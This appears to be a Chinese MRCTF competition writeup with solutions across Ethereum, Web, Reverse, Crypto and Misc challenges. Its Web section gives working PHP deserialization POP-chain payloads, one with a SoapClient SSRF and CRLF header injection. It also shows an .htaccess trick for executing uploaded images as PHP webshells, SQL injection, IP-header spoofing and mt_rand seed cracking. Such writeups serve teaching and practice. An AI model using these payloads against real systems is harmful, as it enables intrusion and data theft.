php substr 去掉前n位_MRCTF V&N大一小分队writeup

本文详细介绍了CTF比赛中的几个挑战,包括Ethereum领域的SimpleReveal和Unwanted Coin,以及Web领域的多个题目。在SimpleReveal中,通过特定操作解码输入数据获取信息;在Unwanted Coin中,利用合约的转账规则实现getflag;Web部分涉及数组绕过、HTTP头部伪造、反序列化漏洞、文件上传漏洞及Apache解析漏洞等,展示了多种攻击手段和防御思路。
摘要由CSDN通过智能技术生成

天璇的CTF平台地址:http://ctf.merak.codes/

Ethereum

SimpleReveal

点那个合同号

https://ropsten.etherscan.io/tx/0x41879d535b36316269d30339de7129e7227366a6b41fc62fb18be6ea64e5dab3

然后点click to see more然后把那个input data decode as utf-8 出来了

Unwanted Coin

目标合约的余额为0.001eth的奇数倍时能够getflag,而合约只允许转偶数倍的钱,因此考虑自爆合约强制转账0.001即可getflag

pragma solidity ^0.4.18;contract Force {    function Force() payable{}    function ForceSendEther(address _addr) payable public{        selfdestruct(_addr);    }}

Web

ez_bypass

第一层数组绕过:

index.php?id[]=1&gg[]=2

第二层is_numeric()绕过:

POST: passwd=1234567%00

要注意在header中加上:

Content-Type: application/x-www-form-urlencoded

PYwebsite

源代码中得到js验证逻辑:

 function enc(code){      hash = hex_md5(code);      return hash;    }    function validate(){      var code = document.getElementById("vcode").value;      if (code != ""){        if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){          alert("您通过了验证!");          window.location = "./flag.php"        }else{          alert("你的授权码不正确!");        }      }else{        alert("请输入授权码");      }    }

访问flag.php得到提示:IP保存了。只有自己和购买者可以看到

XFF头设置为127.0.0.1得到Flag

Ezpop

可以看到源码:

Welcome to index.phpphp//flag is in flag.php//WTF IS THIS?//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95//And Crack It!class Modifier {    protected  $var;    public function append($value){        include($value);    }    public function __invoke(){        $this->append($this->var);    }}class Show{    public $source;    public $str;    public function __construct($file='index.php'){        $this->source = $file;        echo 'Welcome to '.$this->source."
"; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } }}class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); }}if(isset($_GET['pop'])){ @unserialize($_GET['pop']);}else{ $a=new Show; highlight_file(__FILE__);}

这是个反序列化QWQ

phpclass Modifier {    protected  $var='php://filter/read=convert.base64-encode/resource=flag.php';}class Show{    public $source;    public $str;}class Test{    public $p;}$r=new Modifier();$s=new Show();$t=new Test();$t->p=$r;$s->str=$t;$s->source=$s;echo urlencode(serialize($s));

wakeup方法->触发tostring->source属性不存在。触发Test类的get函数。-?>触发invoke函数->include(伪协议)

你传你?呢

判断出服务器是Apache,fuzz了一下:后端有验证,应该是不能上传含有ph的文件(原来做过一道原题)

考虑.htaccess来解析jpg图片,上传时注意抓包修改Content-Type: image/jpeg上传.htaccess,文件内容为:

 "jpg">     SetHandler application/x-httpd-php

在上传一个含有一句话的jpg图片即可,flag在根目录下:

f3d7f6d2c830c3b82a8b1c1eb77dfb7f.png
img

套娃

第一层,Ctrl+U 查看源代码:

$query = $_SERVER['QUERY_STRING']; if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){    die('Y0u are So cutE!');} if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){    echo "you are going to the next ~";}

NCTF原题改编,构造Payload:

第一个if判断:php会把空格或者点(.)自动替换成下划线,可以用来绕过。

第二个if判断:数字后面加%0A绕过

Payload:

?b.u.p.t=23333%0A

得知第二层在:secrettw.php

打开查看源代码:JsFuck,解码之,弹窗:

e4994ae522486c3af19093db8cd284aa.png
img

POST:Merak=1即可得到源码:

php  error_reporting(0);  include 'takeip.php'; ini_set('open_basedir','.');  include 'flag.php'; if(isset($_POST['Merak'])){      highlight_file(__FILE__);      die();  //这个死亡die()卡了我好久,一直没看这里}   //重点在这个加密函数上function change($v){      $v = base64_decode($v);      $re = '';      for($i=0;$i<strlen($v);$i++){          $re .= chr ( ord ($v[$i]) + $i*2 );      }    return $re;  } echo 'Local access only!'."
"; $ip = getIp(); if($ip!='127.0.0.1') echo "Sorry,you don't have permission! Your ip is :".$ip; if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){ echo "Your REQUEST is:".change($_GET['file']); echo file_get_contents(change($_GET['file'])); } ?>

很明显只要我们利用data伪协议绕过对2333参数的验证:

data://text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=

就能利用file读取到flag.php的值,但是提交的要是change()函数解码后的内容,写脚本吧,没啥说的:

php  function enc($payload){       for($i=0; $i<strlen($payload); $i++){        //原解密函数将chr(ord($v[$i])+$i*2)拼接在了最终返回值的后面        $re .= chr(ord($payload[$i])-$i*2);        }      return base64_encode($re);    }  echo enc('flag.php');  //flag.php加密后得到:ZmpdYSZmXGI=?>

去掉Merak,然后用上面的payload,Header中添加Client-ip: 127.0.0.1,即可获得Flag

Ezaudit

wwwzip源码泄露

php header('Content-type:text/html; charset=utf-8');error_reporting(0);if(isset($_POST['login'])){    $username = $_POST['username'];    $password = $_POST['password'];    $Private_key = $_POST['Private_key'];    if (($username == '') || ($password == '') ||($Private_key == '')) {        // 若为空,视为未填写,提示错误,并3秒后返回登录界面        header('refresh:2; url=login.html');        echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";        exit;}    else if($Private_key != '*************' )    {        header('refresh:2; url=login.html');        echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";        exit;    }    else{        if($Private_key === '************'){        $getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';';    //直接SQL注入 万能密码就能过去        $link=mysql_connect("localhost","root","root");        mysql_select_db("test",$link);        $result = mysql_query($getuser);        while($row=mysql_fetch_assoc($result)){            echo "".$row["username"]."".$row["flag"].""; } } }} //代码简化了一下// genarate public_key function public_key($length = 16) { $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $public_key = ''; for ( $i = 0; $i < 16; $i++ ) $public_key .= substr($strings1, mt_rand(0, 61), 1); //BJDCTF 1st 枯燥的抽奖原题 return $public_key; } //genarate private_key function private_key($length = 12) { $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $private_key = ''; for ( $i = 0; $i < 12; $i++ ) $private_key .= substr($strings2, mt_rand(0, 61), 1); return $private_key; } $Public_key = public_key(); //$Public_key = KVQP0LdJKRaV3n9D how to get crispr's private_key???

大概看了一下,这段代码需要三个参数:

username(crispr)、 password(万能密码) 、 Private_key(私钥)只要能正确输入账号和密码(密码直接用万能密码就可以)以及私钥就可以获得Flag。但是需要公私密钥,这里的突破点是使用了mr_rand()伪随机数函数,并且题目最后给出了公钥,思路也就是利用公钥推算出私钥进行SQL注入。

根据公钥爆破出mt_rand()的种子:

str1='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'str2='KVQP0LdJKRaV3n9D'str3 = str1[::-1]length = len(str2)res=''for i in range(len(str2)):    for j in range(len(str1)):        if str2[i] == str1[j]:            res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '            breakprint res

seed = 0x69cf57fb = 1775196155 (PHP 5.2.1 to 7.0.x; HHVM)

写个脚本播撒种子,推 出私钥:

phpmt_srand(1775196155);function public_key($length = 16) {    $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';    $public_key = '';    for ( $i = 0; $i < $length; $i++ )    $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);    return $public_key;  } function private_key($length = 12) {    $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';    $private_key = '';    for ( $i = 0; $i < $length; $i++ )    $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);    return $private_key;  }echo public_key()."\n";echo private_key();?>

得到私钥,然后在login.html页面用万能密码登陆进去得到Flag

Ezpop_Revenge

wwwzip源码 泄露是个typecho

flag.php得是本地访问。并且将flag放在session中。估计是SSRF+SOAP

全局搜索unserialize。在/usr/plugins/HelloWorld/Plugin.php中发现了一段可控的反序列化

8b36d13020606f08846d6ddeb65f82e5.png
img

这里存在反序列化点。并且可以打印session

那么就得找。哪里调用了这个类中的action方法

154514d9675d0defc0aaf5f6ebff91ee.png
img

看下这个addroute

6c0c1511a1e94c8367d55bc791f7d509.png
img

此处的意思就是访问page_admin。

就会访问HelloWorld_Plugin类中的action方法那么post就可以触发反序列化。反序列化点找到了。开始构造POP链这个类中存在__wakeup。会自动触发。从这开始构造POP

a27a5fd58dae2cfb2a453378d1278e46.png
img

进入Typecho_Db类中__construct魔术方法。会将传入的第一个参数。当成字符串拼接。那么势必会触发__toString魔术方法

1018d4dd0bae886158b3a980d8d73b45.png
img

找tostring。就三个。一个个看

fb00d7a611490e22163ceaa7f0a5269a.png
img

在Query.php中的__toSting魔术方法。

79f637d5986e8738a562fbe5091b4c6a.png
img
POP链如下:HelloWorld_DB类中的__wakeup魔术方法为起点。调用Typecho_Db($this->coincidence['hello'], $this->coincidence['world'])Typecho_Db类中的__construct魔术方法。会将第一个参数进行字符串拼接。触发__toStringTypecho_Db_Query类中的__toString魔术方法。会执行$this->_adapter->parseSelect($this->_sqlPreBuild)造成SOAP+SSRF

由于Flag会赋值给对应的session。那么我们还得通过CRLF。来控制SOAP的session

下面贴Payload

phpclass Typecho_Db_Query{    private $_adapter;    private $_sqlPreBuild;    public function __construct()    {        $target = "http://127.0.0.1/flag.php";        $this->_adapter = new SoapClient(null, array('uri' => 'abc', 'location' => $target, 'user_agent' => "abc\r\nCookie: PHPSESSID=123\r\n"));        $this->_sqlPreBuild = ['action' => "SELECT"];    }}class HelloWorld_DB{    private $coincidence;    public function __construct()    {        $this->coincidence = array("hello" => new Typecho_Db_Query());    }}$a = serialize(new HelloWorld_DB());echo base64_encode($a);?>
85185e928dcb195e09b0c9fe54f47911.png
img

Reverse

Transform

IDA64位载入,进入main函数看到有效代码

59165df24dd6bb15e52ad20ab748b85b.png
img

写脚本解密

#include unsigned char data2[33] = {    0x67, 0x79, 0x7B, 0x7F, 0x75, 0x2B, 0x3C, 0x52, 0x53, 0x79, 0x57, 0x5E, 0x5D, 0x42, 0x7B, 0x2D,    0x2A, 0x66, 0x42, 0x7E, 0x4C, 0x57, 0x79, 0x41, 0x6B, 0x7E, 0x65, 0x3C, 0x5C, 0x45, 0x6F, 0x62,    0x4D};unsigned int data0[40] = {    0x09, 0x0A, 0x0F, 0x17, 0x07, 0x18, 0x0C, 0x06,    0x01, 0x10, 0x03, 0x11, 0x20, 0x1D, 0x0B, 0x1E,    0x1B, 0x16, 0x04, 0x0D, 0x13, 0x14, 0x15, 0x02,    0x19, 0x05, 0x1F, 0x08, 0x12, 0x1A, 0x1C, 0x0E,    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};int main(void){    int i;    char flag[34] = { 0 };    for (i = 0; i < 33; i++)    {        data2[i] ^= data0[i];        flag[data0[i]] = data2[i];    }    puts(flag);    return 0;}

撸啊撸

IDA64位载入,搜索字符串来到关键代码

0f5fd78f743ee88524086c1d53a020fa.png
img

乱七八糟的函数跟了半天没发现东西,后来觉得byte_140074B00很可疑,数了半天数啥也没干,双击跟进去,发现有另一个函数调用了此段代码,跟进去

5fa441fd9371536b69343b0416cc5926.png
img

SMC自修改代码用IDApython或者IDC写脚本来计算

#include <idc.idc>static main(){    auto addr = 0x7FF613114B00;    auto v0 = 0;    auto v1 = 0,v2;    do    {        v2 = v0 + 1;        v0 = v2 % -10;        PatchByte(addr + v1,Byte(addr + v1) ^ v0);        v1 ++;    }while(v1<411);}

转换成字符串

d6218c8c63843032a835bc4818c8c01d.png
img
032abc2c52f2fc7aae26304b9d17693a.png
img
#include int main(void){    int cmps[28] = { 83,80,73,80,76,125,61,96,107,85,62,63,121,122,101,33,123,82,101,114,54,100,101,97,85,111,39,97 };    for (int i = 0; i < 28; i++)    {        if (i & 1)            cmps[i] ^= (i+1);        else            cmps[i] -= 6;        printf("%c", cmps[i]);    }    return 0;}

PixelShooter

dnspy打开dll。搜索字符串。

6fbff6a062aa8f82f6c049f78398adb0.png
img

Algorithm

致敬OI

根据题意写出程序(后面修改了一下c++出答案):

#include <bits/stdc++.h>#define mp make_pair#define sqr(x) (x)*(x)using namespace std;typedef pair<int,int> pii;typedef long long ll;const int maxn=100007;const ll inf=1<<29;int read(){    int x=0,f=1;    char ch=getchar();    while(ch<'0'||ch>'9') {if(ch=='-') f=-1;ch=getchar();}    while(ch>='0'&&ch<='9') x=x*10+ch-'0',ch=getchar();    return x*f;}short int dp[100000007],g[100000007];int main(){    int n=read(),K=read(),L=read(),R=read();    dp[0]=0;g[0]=1;    for(int i=R;i>=L;i--){        for(int k=n;k>=i;k--){            for(int z=i,x=1;z<=k;x++,z+=i){                g[k]=g[k]+g[k-z];                x>=K?dp[k]=dp[k]+dp[k-z]+g[k-z]:dp[k]=dp[k]+dp[k-z];            }        }    }    cout<<char(dp[n]/256);    cout<<char(dp[n]%256);    return 0;}

但是时间复杂度太高,只能跑出前几组数据:

9640 80 42 9629 5486 89 54 54267535 52 16 744592904 1689 48 90717分别对应:1979417236180439509

然后出题人说一组是两个字符,猜测是ascii,python:

n = int(input())print(chr(int(n / 256)) + chr(int(n % 256)))

跑出来是:

9640 80 42 9629=>MR5486 89 54 5426=>CT7535 52 16 7445=>F{92904 1689 48 90717=>%%95451 3261 13 92973=>th96452 72 69 88799=>i592155 106 74 83434=>_1(这是一啊)92621 1966 29 84490=>s_99324 32787 2 89516=>an994864 8080 29 975147->95838 3253 12 95780 ->AS99586 694 59 92850 ->Y%
d419a560506d5d2b5a3a5c946191cc28.png
img
b1eaaaf4e60d1b6c9121a673de217806.png
img
cc2ac3ec06bfc96b50cad9828051078e.png
img

最新思路:一个利用数据的点 就是能够装箱的经验书,每堆的个数不会很多

需要以 n/K 作为阈值,对于小于 n/K 的就去 DP,大于 n/K 的就利用到枚举和划分数。

#include <bits/stdc++.h>#define mp make_pair#define sqr(x) (x)*(x)using namespace std;typedef pair<int,int> pii;typedef long long ll;const int maxn=100007;const ll inf=1<<29;int read(){    int x=0,f=1;    char ch=getchar();    while(ch<'0'||ch>'9') {if(ch=='-') f=-1;ch=getchar();}    while(ch>='0'&&ch<='9') x=x*10+ch-'0',ch=getchar();    return x*f;}short int dp[100000007],g[100000007];int main(){    int n=read(),K=read(),L=read(),R=read();    dp[0]=0;g[0]=1;    for(int i=R;i>=L;i--){        for(int k=n;k>=i;k--){            for(int z=i,x=1;z<=k;x++,z+=i){                g[k]=g[k]+g[k-z];                x>=K?dp[k]=dp[k]+dp[k-z]+g[k-z]:dp[k]=dp[k]+dp[k-z];            }        }    }    cout<<char(dp[n]/256);    cout<<char(dp[n]%256);    return 0;}

Misc

pyflag

每个图片尾部有zip的一部分,提取出来,跑一下密码为1234,然后是个base套娃,16,32,64,85看看解一下

寻找XXX

用dtmf检测一下得到18684221609

找到出题人公众号”天璇Merak“关注,然后把号码发过去

af2b716d9fb195af3af83214832b1a3e.png
img

CyberPunk

下载下来是个exe文件,改系统时间 修改电脑时间为指定日期即可

ezmisc

高度问题,使用脚本算出高度,就能看到图片露出flag

976553609d7144d818547bae98fe89b4.png
img

MRCTF{1ts_vEryyyyyy_ez!}

A Signal From ISS

SSTV,直接粗来

4590aeff11a7d62b84a93da40308e990.png
img

merak{r3ce1ved_4n_img}

Unravel

strings wav 有个aes加密,扫一下图片有个压缩包里面图片写了Tokyo,然后AESdecode出来是压缩包密码,压缩包里有个wav,用slienteye扫一下flag

binwalk JM.png得到一个压缩包。里面有一张aes.png。内容是Tokyo。是aes加密的密钥strings wav得到一串AES密文。用上面的密钥解密。得到CCGandGulu将这个作为密码解压win-win.zip得到Ending.wav拖入slienteye得到flag

千层套路

for((i=1;i<=10000;i++));  doa=`ls *.zip|cut -c 1-4`;unzip -P $a $a.zip;rm -rf $a.zipdone
from PIL import ImageMAX = 200pic = Image.new("RGB",(MAX, MAX))file = open("qr.txt",'r')m = file.read().split('\n')i=0for y in range (0,MAX):    for x in range (0,MAX):        if(m[i] == '(0, 0, 0)'):            pic.putpixel([x,y],(0, 0, 0))        else:            pic.putpixel([x,y],(255,255,255))        i = i+1pic.show()

扫码得到Flag

不眠之夜

先写个脚本协助拼图

from PIL import Imageimport osimport pandas as pdimport difflibimgs = os.listdir('.')img_info = pd.DataFrame(columns=['top', 'left', 'right', 'buttom'], index=[])for img in imgs:if 'jpg' not in img:continuepiece = Image.open(img)piece.convert('L')x_max = piece.size[0]y_max = piece.size[1]top_str = ''left_str = ''right_str = ''buttom_str = ''for i in range(0, x_max):top_str += chr(piece.getpixel((i, 0))[0])buttom_str += chr(piece.getpixel((i, y_max - 1))[0])for i in range(0, y_max):left_str += chr(piece.getpixel((0, i))[0])right_str += chr(piece.getpixel((x_max - 1, i))[0])img_info = img_info.append(pd.Series({'top': top_str, 'left': left_str, 'buttom': buttom_str, 'right': right_str}, name=img))img_info.to_csv('res.csv')img_combine = pd.DataFrame(columns=['top', 'left', 'right', 'buttom'], index=[])max_similiar = {'top': '0','buttom': '0','left': '0','right': '0',}def strdiff(str1, str2):return difflib.SequenceMatcher(None, str1, str2).quick_ratio()for index1, row1 in img_info.iterrows():for name in img_info.columns:for index2, row2 in img_info.iterrows():if index1 == index2:continueif name == 'top':contrast = 'buttom'elif name == 'buttom':contrast = 'top'elif name == 'left':contrast = 'right'elif name == 'right':contrast = 'left'if max_similiar[name] == '0' or strdiff(row1[name], row2[contrast]) > strdiff(row1[name], img_info.loc[max_similiar[name], contrast]):max_similiar[name] = index2#if strdiff(row1[name], img_info.loc[max_similiar[name], contrast]) < 0.85:# max_similiar[name] = '0'img_combine = img_combine.append(pd.Series(max_similiar, name=index1))img_combine.to_csv('final_res.csv')

有辅助还拼了一个小时,以后再也不做拼图了=-=

手拼20分钟出结果

56bf11755f0c6784366abac32f46e4df.png
img

用gaps拼图,先将120张小图合并成一张大图,可以用montage命令实现

montage *jpg -tile 10x12 -geometry 200x100+0+0 out.jpg
e09ed8ee8cee52f76faa45ce976488cd.png
img

得到这样一张图片,之后再用gaps跑一下就能还原整个拼图

gaps --image=out.jpg --generations=40 --population=120 --size=100
672f38a651196a3dad03b1bb66f3405e.png
img

你能看懂音符吗

♭♯♪‖¶♬♭♭♪♭‖‖♭♭♬‖♫♪‖♩♬‖♬♬♭♭♫‖♩♫‖♬♪♭♭♭‖¶∮‖‖‖‖♩♬‖♬♪‖♩♫♭♭♭♭♭§‖♩♩♭♭♫♭♭♭‖♬♭‖¶§♭♭♯‖♫∮‖♬¶‖¶∮‖♬♫‖♫♬‖♫♫§=

https://www.qqxiuzi.cn/bianma/wenbenjiami.php?s=yinyue音符解密

Hello-Misc

binwalk抽出一个包图片前n行抽数据红色1蓝色0,然后出来一个图片

a3ddc275ddb938bb9e604ef2a8a1eed5.png
img
38208092fd2d9d98d9c1daaea57332da.png
img

根据密码解压抽出来的压缩包,是个txt,

127 255 63 191 127 191 63 127 127 255 63 191 63 191 255 127 127 255 63 63 127 191 63 127 127 255 63 255 127 255 63 255 127 255 127 255 127 191 127 63 63 255 191 191 63 255 63 63 127 191 63 127 127 191 63 255 63 255 63 127 127 191 127 191 127 191 127 127 63 255 127 191 127 191 63 191 63 255 127 255 63 255 127 255 127 191 63 191 127 191 127 127 63 255 127 127 127 191 127 63 127 191 63 191 127 191 127 127

按大小转4进制,hexify,出来rar的密码,解压出来是个docx,然后有一段白色字体base64

MTEwMTEwMTExMTExMTEwMDExMTEwMTExMTExMTExMTExMTExMTExMTExMTExMTExMTAxMTEwMDAwMDAxMTExMTExMTExMDAxMTAxMTEwMTEwMTEwMDAxMTAxMDExMTEwMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTAxMTExMTExMTExMTExMTEwMTEwMDExMTEwMDAwMTAxMTEwMTExMDExMTEwMTExMTExMTAwMDExMTExMTExMTExMDAxMDAxMTAxMTEwMDAwMDExMTExMDAwMDExMTExMTExMTEwMTEwMTAwMDAxMTExMDExMTEwMTExMTExMDExMTAxMTExMTExMTEwMTEwMTEwMTAxMTExMTExMTAwMTEwMTExMTExMTExMTExMTEwMTEwMTAxMTExMTExMDExMTEwMTExMTAxMDExMTAxMTExMTExMTEwMTEwMTEwMTAxMTAxMTExMTAwMTEwMTExMTExMTExMTExMTEwMTEwMTAwMDAxMTAwMDAwMTEwMDAwMDAxMTAwMDExMTAwMDAwMTEwMTEwMTEwMTAxMTEwMDAwMDAxMTExMDAwMDExMTExMTEx

然后decode,出来之后化成一张图片

6f31c656708e37a8292466f2b3ca4a6d.png
img

然后就出来啦(注意是He1Lo_mi5c~) (居然是5!!!

Crypto

keyboard

手机九键字母排序,按三下意思就是最后一个字母

a4a183ce1d0abd633dd8bc51fbc3674f.png
img

得到Flag: MRCTF{mobilephone}

古典密码知多少

猪圈。圣堂武士。银河密码

得到结果栅栏解密

MRCTF{CRYPTOFUN}

Vigenere

https://www.guballa.de/vigenere-solver弗吉尼亚密码,直接爆破

天干地支+甲子

import java.util.HashMap;  public class ChineseCalendar {      private final static HashMap<Character, Integer> Heavenly_Stems = new HashMap<Character, Integer>();      private final static HashMap<Character, Integer> Earthly_Branches = new HashMap<Character, Integer>();      static {          Heavenly_Stems.put('甲', 1);          Heavenly_Stems.put('乙', 2);          Heavenly_Stems.put('丙', 3);          Heavenly_Stems.put('丁', 4);          Heavenly_Stems.put('戊', 5);          Heavenly_Stems.put('己', 6);          Heavenly_Stems.put('庚', 7);          Heavenly_Stems.put('辛', 8);          Heavenly_Stems.put('壬', 9);          Heavenly_Stems.put('癸', 10);          Earthly_Branches.put('子', 1);          Earthly_Branches.put('丑', 2);          Earthly_Branches.put('寅', 3);          Earthly_Branches.put('卯', 4);          Earthly_Branches.put('辰', 5);          Earthly_Branches.put('巳', 6);          Earthly_Branches.put('午', 7);          Earthly_Branches.put('未', 8);          Earthly_Branches.put('申', 9);          Earthly_Branches.put('酉', 10);          Earthly_Branches.put('戌', 11);          Earthly_Branches.put('亥', 12);      }      public static int getCode(String name) {          int n = name.length();          if (n < 2)              throw new IllegalArgumentException("Unknown name: " + name);          char h = name.charAt(0);          Integer hCode = Heavenly_Stems.get(h);          if (hCode == null)              throw new IllegalArgumentException("Unknown name: " + name);          char e = name.charAt(1);          Integer eCode = Earthly_Branches.get(e);          if (eCode == null)              throw new IllegalArgumentException("Unknown name: " + name);          hCode%=10;          eCode%=12;          for (int c = 1; c <= 60; c++) {              if (c % 10 == hCode && c % 12 == eCode)                  return c;          }          throw new IllegalArgumentException("Unknown name: " + name);      }      public static void main(String[] args) {          System.out.println(getCode("甲戌"));          System.out.println(getCode("甲寅"));          System.out.println(getCode("甲寅"));          System.out.println(getCode("癸卯"));        System.out.println(getCode("己酉"));          System.out.println(getCode("甲寅"));         System.out.println(getCode("辛丑"));     }  }
72623b2cac8a6b2bb0d9a6053a928d2c.png
img

得到的每个数字+1甲子的时间(60)然后用ascii转得到goodjob

MRCTF{goodjob}

easyrsa

ba1543d4858f7b2c540ffa8b7145a77a.png
img
def Solve(a , b , c):    '''solve ax^2+bx+c=0 , return x1 , x2'''    delta = b**2 - 4 * a * c    if delta < 0:        return 0    if is_square(delta):        sqr_delta = isqrt(delta)        temp1 = -b + sqr_delta        temp2 = -b - sqr_delta        if temp1 % (2*a) != 0 or temp2 % (2*a) != 0:            return 0        else:            return [temp1//(2*a) , temp2//(2*a)]    else:        return 0def get_next(x):    if x % 2 == 0:        x += 1    else:        x+=2    while not is_prime(x):        x += 2    return xdef gen_p():    n = mpz(14057332139537395701238463644827948204030576528558543283405966933509944444681257521108769303999679955371474546213196051386802936343092965202519504111238572269823072199039812208100301939365080328518578704076769147484922508482686658959347725753762078590928561862163337382463252361958145933210306431342748775024336556028267742021320891681762543660468484018686865891073110757394154024833552558863671537491089957038648328973790692356014778420333896705595252711514117478072828880198506187667924020260600124717243067420876363980538994101929437978668709128652587073901337310278665778299513763593234951137512120572797739181693)    phi = mpz(14057332139537395701238463644827948204030576528558543283405966933509944444681257521108769303999679955371474546213196051386802936343092965202519504111238572269823072199039812208100301939365080328518578704076769147484922508482686658959347725753762078590928561862163337382463252361958145933210306431342748775024099427363967321110127562039879018616082926935567951378185280882426903064598376668106616694623540074057210432790309571018778281723710994930151635857933293394780142192586806292968028305922173313521186946635709194350912242693822450297748434301924950358561859804256788098033426537956252964976682327991427626735740)    p_q = n - phi + 1    p , q = Solve(1 , -p_q , n)    if p > q :        p , q = q , p    factor2 = 2021 * p + 2020 * q    if factor2 < 0:        factor2 = (-1) * factor2    return get_next(factor2)
539f950cc3ed21b0e589dc1b0dfe2cb5.png
img
def gen_q():    n = mpz(20714298338160449749545360743688018842877274054540852096459485283936802341271363766157976112525034004319938054034934880860956966585051684483662535780621673316774842614701726445870630109196016676725183412879870463432277629916669130494040403733295593655306104176367902352484367520262917943100467697540593925707162162616635533550262718808746254599456286578409187895171015796991910123804529825519519278388910483133813330902530160448972926096083990208243274548561238253002789474920730760001104048093295680593033327818821255300893423412192265814418546134015557579236219461780344469127987669565138930308525189944897421753947)    ed = mpz(100772079222298134586116156850742817855408127716962891929259868746672572602333918958075582671752493618259518286336122772703330183037221105058298653490794337885098499073583821832532798309513538383175233429533467348390389323225198805294950484802068148590902907221150968539067980432831310376368202773212266320112670699737501054831646286585142281419237572222713975646843555024731855688573834108711874406149540078253774349708158063055754932812675786123700768288048445326199880983717504538825498103789304873682191053050366806825802602658674268440844577955499368404019114913934477160428428662847012289516655310680119638600315228284298935201)    ed = ed -1    k = ed// n    for i in range(k , k + 2):        if ed % i == 0:            phi = ed // i            break    p_q = n - phi + 1    p , q = Solve(1 , -p_q , n)    if p > q :        p , q = q , p    factor2 = 2021 * p - 2020 * q    if factor2 < 0:        factor2 = (-1) * factor2    return get_next(factor2)

接下来正常rsa

Ciphertext =  40855937355228438525361161524441274634175356845950884889338630813182607485910094677909779126550263304194796000904384775495000943424070396334435810126536165332565417336797036611773382728344687175253081047586602838685027428292621557914514629024324794275772522013126464926990620140406412999485728750385876868115091735425577555027394033416643032644774339644654011686716639760512353355719065795222201167219831780961308225780478482467294410828543488412258764446494815238766185728454416691898859462532083437213793104823759147317613637881419787581920745151430394526712790608442960106537539121880514269830696341737507717448946962021p = gen_p()q = gen_q()n = p * qphi = (p-1) * (q-1)e = 65537d = invert(e , phi)print(bytes.fromhex(hex(powmod(Ciphertext , d , n))[2:])

babyrsa

baby题居然比easy题简单!

题目中,gen_p是getPrime(128)后,在它后面找了连续的17个质数,并且告诉了我们第9个,显然这是很容易得到剩下16个,然后给了powmod(p , 65537,n),n是17个质数的乘积,求出phi以后求逆元即可exp:

def get_next(x):    if x % 2 == 0:        x += 1    else:        x+=2    while not is_prime(x):        x += 2    return xdef get_pre(x):    if x % 2 == 0:        x -= 1    else:        x-=2    while not is_prime(x):        x -= 2    return xdef gen_p():    p0 = mpz(206027926847308612719677572554991143421)    plist = [p0]     for i in range(9):        plist.append(get_pre(plist[-1]))    plist.reverse()    for i in range(7):        plist.append(get_next(plist[-1]))    n = 1    for i in range(17):        n *= plist[i]    factor = mpz(213671742765908980787116579976289600595864704574134469173111790965233629909513884704158446946409910475727584342641848597858942209151114627306286393390259700239698869487469080881267182803062488043469138252786381822646126962323295676431679988602406971858136496624861228526070581338082202663895710929460596143281673761666804565161435963957655012011051936180536581488499059517946308650135300428672486819645279969693519039407892941672784362868653243632727928279698588177694171797254644864554162848696210763681197279758130811723700154618280764123396312330032986093579531909363210692564988076206283296967165522152288770019720928264542910922693728918198338839)    phi = 1    for i in range(17):        phi *= plist[i] - 1    d = invert(65537 , phi)    return get_next(powmod(factor , d , n))

q就是白给,直接求个逆就能算

def gen_q():    q1 = mpz(103766439849465588084625049495793857634556517064563488433148224524638105971161051763127718438062862548184814747601299494052813662851459740127499557785398714481909461631996020048315790167967699932967974484481209879664173009585231469785141628982021847883945871201430155071257803163523612863113967495969578605521)    q2 = mpz(151010734276916939790591461278981486442548035032350797306496105136358723586953123484087860176438629843688462671681777513652947555325607414858514566053513243083627810686084890261120641161987614435114887565491866120507844566210561620503961205851409386041194326728437073995372322433035153519757017396063066469743)    subq = mpz(168992529793593315757895995101430241994953638330919314800130536809801824971112039572562389449584350643924391984800978193707795909956472992631004290479273525116959461856227262232600089176950810729475058260332177626961286009876630340945093629959302803189668904123890991069113826241497783666995751391361028949651)    q = powmod(subq , q2 , q1)    return get_next(q)

real random

题目告诉了M与D,猜对flag_part是哪一个就给flag的一字节。

先分析random那个函数,将M分解,可以得到p,q(p与q是getPrime(6),总共只有8种可能,很容易分解),用p与q能够算出m和b

但是c不知道,因此推测对于不同的c,也许会有一个共同的周期,或是周期有一个固定的公倍数

978945d9d4b351b575530de727130972.png
img

因此每进行m次操作,就会回到初始值,random[0]是进行了2**d次操作的,因此只要发 m - (2 ** d % m)即可

